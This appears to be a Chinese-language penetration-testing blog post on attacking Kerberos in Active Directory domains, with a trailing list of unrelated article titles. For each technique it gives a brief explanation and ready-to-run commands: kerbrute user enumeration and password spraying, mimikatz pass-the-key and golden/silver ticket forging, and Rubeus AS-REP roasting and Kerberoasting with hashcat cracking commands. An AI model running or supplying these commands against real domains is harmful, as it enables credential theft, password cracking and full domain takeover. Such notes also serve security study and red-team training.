用户名枚举

原理

不存在的用户

存在的用户

通过这个比较就可以写脚本改变cname的值进行用户名枚举。

利用

https://github.com/ropnop/kerbrute/

kerbrute.exe userenum -d muxue.com user.txt



获取到用户名后 就可以接着枚举密码了;也就是Password Spraying

Password Spraying

原理

密码错误

密码成功

利用

kerbrute.exe passwordspray -d muxue.com user.txt admin123!

Pass The Hash

原理

在进行认证的时候,是用用户hash加密时间戳,即使在使用密码进行登录的情况下,也是先把密码加密成hash,再进行认证。

利用

pth的方法有很多啊 我擦 就不一一举例了

Pass The Key

原理

如果是hash是aes key(使用sekurlsa::ekeys导出来),就算是pass the key;

pth的算法是rc4

利用

// dumphash
privilege::debug
sekurlsa::ekeys
// import
privilege::debug
sekurlsa::pth /user:user /domain:domain_name /aes256:xxx
// dir
dir \\dc\c$

然后导入票据 他会新弹出一个cmd

后来我再测试的时候 不知道为啥aes256和aes128都不显示,你提升到debug权限就得域管,域管本来就可以dir dc的把 我擦 没搞懂

AS-REP Roasting

原理

开启了不要求Kerberos预身份验证,此时向域控制器的88端口发送AS_REQ请求,对收到的AS_REP内容(enc-part底下的ciper,因为这部分是使用用户hash加密session-key,我们通过进行离线爆破就可以获得用户hash)重新组合,能够拼接成”Kerberos 5 AS-REP etype 23”(18200)的格式,接下来可以使用hashcat对其破解,最终获得该用户的明文口令

利用

这个洞需要设置账户

Rubeus.exe asreproast

然后使用hashcat爆破(先加一个$23)

hashcat -m 18200 hash.txt pass.txt --force



Golden Tickets

原理

在AS_REP里面的TGT的encpart是使用krbtgt的hash进行加密的,如果我们拥有krbtgt的hash,就可以给我们自己签发任意用户的TGT票据,这个票据也被称为黄金票据。

利用

伪造黄金票据

先获取域的SID和krbtgt的值

mimikatz "kerberos::golden /domain:<域名> /sid:<域SID> /rc4:<KRBTGT NTLM Hash> /user:<任意用户名> /ptt" exit

sid最后-后面的不要

Pass the ticket

原理

Kerbreos 除了第一步AS_ERQ是使用时间戳加密用户hash验证之外,其他的步骤的验证都是通过票据

利用

其实我们上篇搞非约束委派的时候 就用到了ptt,获取票据以后再传递

Kerberoassting

原理

是使用要请求的服务的hash加密的,所以我们可以通过爆破获得服务的hash。

https://3gstudent.github.io/域渗透-Kerberoasting;推荐看三好学生师傅的文章

利用

Rubeus.exe kerberoast

hashcat -m 13100 hash.txt pass.txt --force

Sliver Tickets

也就是白银票据

原理

Ticket=Server Hash(Server Session Key+Client info+End Time)

所以当拥有Server Hash时,我们就可以伪造一个不经过KDC认证的一个Ticket。

利用

首先需要导出Server Hash



伪造票据

mimikatz "kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLM Hash> /user:<用户名> /ptt" "exit"

委派

委派就看我上篇文章吧

最新文章

  1. Python中的绝对路劲和相对路径
  2. &lt;textarea&gt;输入框提示文字
  3. HttpClient总结一之基本使用
  4. Python实践:开篇
  5. 记一次SortedDictionary的不当使用
  6. [leetcode] 407. Trapping Rain Water II
  7. C#面向对象——方法的重载及构造函数、静态对象。
  8. 判断一个值是不是DBNull.Value
  9. windows net 命令(转载)
  10. .NET面试资料整理
  11. [模板] k短路
  12. mysql函数技巧整理
  13. 遍历List过程中删除操作报java.util.ConcurrentModificationException错误
  14. Yii2项目高级模版 三个模块在同一个目录下的重定向配置
  15. 【工具相关】Web-Sublime Text2的用法(一)
  16. ODAC(V9.5.15) 学习笔记(十)TVirtualTable
  17. SpringBoot2.0之整合Apollo
  18. 常用markdown语法入门
  19. 解决Cell重用问题
  20. 微信公众号支付安卓和WP支付成功,苹果不能支付!

热门文章

  1. 从零实操基于WSL2 Docker部署Asp.Net Core项目
  2. Spring到底应该学哪些内容?
  3. 树莓派4B-SPI读写flash-FM25CL16B(同时支持FM25CL64等其它系列Flash)
  4. docker安装和配置nginx
  5. Springboot:单元测试@FixMethodOrder注解指定测试方法的执行顺序
  6. HGAME_easyVM
  7. pod调度
  8. 在HTML中使用JavaScript(浏览器对js的加载机制分析)
  9. c# checkedListBox设置多列横向显示 经验总结
  10. 【递归+树】FBI树